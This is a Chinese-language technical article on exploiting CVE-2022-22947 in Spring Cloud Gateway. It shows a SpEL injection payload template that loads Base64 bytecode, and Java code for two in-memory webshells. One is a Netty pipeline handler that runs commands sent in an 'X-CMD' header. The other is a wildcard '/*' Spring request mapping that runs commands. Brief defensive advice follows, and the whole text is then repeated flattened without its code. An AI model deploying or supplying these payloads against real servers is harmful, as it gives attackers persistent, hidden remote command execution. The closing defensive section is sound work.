Spring cloud gateway通过SPEL注入内存马
字数 1195 2025-08-07 08:22:27

Spring Cloud Gateway SPEL注入内存马分析与利用

0x00 背景

CVE-2022-22947是Spring Cloud Gateway的一个高危漏洞,允许攻击者通过SPEL表达式注入执行任意代码。传统利用方式需要频繁注册路由和刷新网关,影响业务稳定性。本文介绍如何通过该漏洞注入高可用的内存马,包括Netty层和Spring层的实现方式。

0x01 高可用Payload优化

为构建稳定的内存马,需要对SPEL执行Java字节码的payload进行优化:

  1. 兼容性问题解决
    • 避免使用BCEL/js引擎依赖
    • 解决不同JDK版本的Base64兼容问题
    • 支持多次运行同类名字节码
    • 防止ClassNotFound异常

优化后的Payload模板:

#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',
  T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),
  new javax.management.loading.MLet(new java.net.URL[0],
  T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}

0x02 Netty层内存马实现

原理分析

Netty处理HTTP请求通过责任链Pipeline实现,关键点在于:

  1. ChannelPipelineConfigurer负责为Pipeline添加Handler
  2. CompositeChannelPipelineConfigurer合并多个Configurer
  3. 通过修改doOnChannelInit属性可注入自定义Configurer

内存马实现步骤

  1. 定位关键对象

    • 通过线程对象找到NettyWebServer
    • 获取val$disposableServer中的config对象
    • 修改doOnChannelInit属性
  2. 内存马核心代码

public class NettyMemshell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
    public static String doInject(){
        // 反射获取并修改doOnChannelInit属性
        // ...
    }

    @Override
    public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
        // 在Spring Handler前插入内存马Handler
        channel.pipeline().addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemshell());
    }
    
    @Override
    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
        if(msg instanceof HttpRequest && ((HttpRequest)msg).headers().contains("X-CMD")) {
            // 执行命令并返回结果
            String cmd = ((HttpRequest)msg).headers().get("X-CMD");
            String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream())
                              .useDelimiter("\\A").next();
            send(ctx, execResult, HttpResponseStatus.OK);
            return;
        }
        ctx.fireChannelRead(msg);
    }
}

0x03 Spring层内存马实现

原理分析

Spring Cloud Gateway请求处理流程:

  1. HandlerMapping - 路由匹配
  2. HandlerAdapter - 请求处理
  3. HandlerResultHandler - 结果处理

内存马实现步骤

  1. 获取RequestMappingHandlerMapping

    • 从SPEL上下文的bean中获取
    • 或通过反射从线程对象中定位
  2. 注册恶意Handler

public class SpringRequestMappingMemshell {
    public static String doInject(Object requestMappingHandlerMapping) {
        try {
            Method registerHandlerMethod = requestMappingHandlerMapping.getClass()
                .getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
            
            // 创建通配路由"/*"
            PathPattern pathPattern = new PathPatternParser().parse("/*");
            PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern);
            RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null);
            
            // 注册恶意Handler
            registerHandlerMethod.invoke(requestMappingHandlerMapping, 
                new SpringRequestMappingMemshell(), 
                SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class), 
                requestMappingInfo);
            return "inject-success";
        } catch(Exception e) {
            return "inject-error";
        }
    }

    public ResponseEntity executeCommand(String cmd) throws IOException {
        // 命令执行实现
        String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream())
                          .useDelimiter("\\A").next();
        return new ResponseEntity(execResult, HttpStatus.OK);
    }
}

0x04 总结与防御建议

技术总结

  1. Netty层内存马

    • 通过修改ChannelPipelineConfigurer实现
    • 在Netty处理链中插入恶意Handler
    • 兼容性较差但隐蔽性高
  2. Spring层内存马

    • 通过注册恶意RequestMapping实现
    • 直接从bean中获取HandlerMapping
    • 兼容性更好但可能被常规检测发现

防御建议

  1. 及时升级Spring Cloud Gateway到安全版本
  2. 限制网关的管理端点访问
  3. 监控异常路由注册行为
  4. 实施运行时应用自我保护(RASP)

0x05 参考资料

  1. CVE-2022-22947官方公告
  2. Spring Cloud Gateway官方文档
  3. Netty框架Pipeline机制文档
  4. Spring WebFlux请求处理流程文档
Spring Cloud Gateway SPEL注入内存马分析与利用 0x00 背景 CVE-2022-22947是Spring Cloud Gateway的一个高危漏洞,允许攻击者通过SPEL表达式注入执行任意代码。传统利用方式需要频繁注册路由和刷新网关,影响业务稳定性。本文介绍如何通过该漏洞注入高可用的内存马,包括Netty层和Spring层的实现方式。 0x01 高可用Payload优化 为构建稳定的内存马,需要对SPEL执行Java字节码的payload进行优化: 兼容性问题解决 : 避免使用BCEL/js引擎依赖 解决不同JDK版本的Base64兼容问题 支持多次运行同类名字节码 防止ClassNotFound异常 优化后的Payload模板: 0x02 Netty层内存马实现 原理分析 Netty处理HTTP请求通过责任链Pipeline实现,关键点在于: ChannelPipelineConfigurer 负责为Pipeline添加Handler CompositeChannelPipelineConfigurer 合并多个Configurer 通过修改 doOnChannelInit 属性可注入自定义Configurer 内存马实现步骤 定位关键对象 : 通过线程对象找到 NettyWebServer 获取 val$disposableServer 中的 config 对象 修改 doOnChannelInit 属性 内存马核心代码 : 0x03 Spring层内存马实现 原理分析 Spring Cloud Gateway请求处理流程: HandlerMapping - 路由匹配 HandlerAdapter - 请求处理 HandlerResultHandler - 结果处理 内存马实现步骤 获取RequestMappingHandlerMapping : 从SPEL上下文的bean中获取 或通过反射从线程对象中定位 注册恶意Handler : 0x04 总结与防御建议 技术总结 Netty层内存马 : 通过修改ChannelPipelineConfigurer实现 在Netty处理链中插入恶意Handler 兼容性较差但隐蔽性高 Spring层内存马 : 通过注册恶意RequestMapping实现 直接从bean中获取HandlerMapping 兼容性更好但可能被常规检测发现 防御建议 及时升级Spring Cloud Gateway到安全版本 限制网关的管理端点访问 监控异常路由注册行为 实施运行时应用自我保护(RASP) 0x05 参考资料 CVE-2022-22947官方公告 Spring Cloud Gateway官方文档 Netty框架Pipeline机制文档 Spring WebFlux请求处理流程文档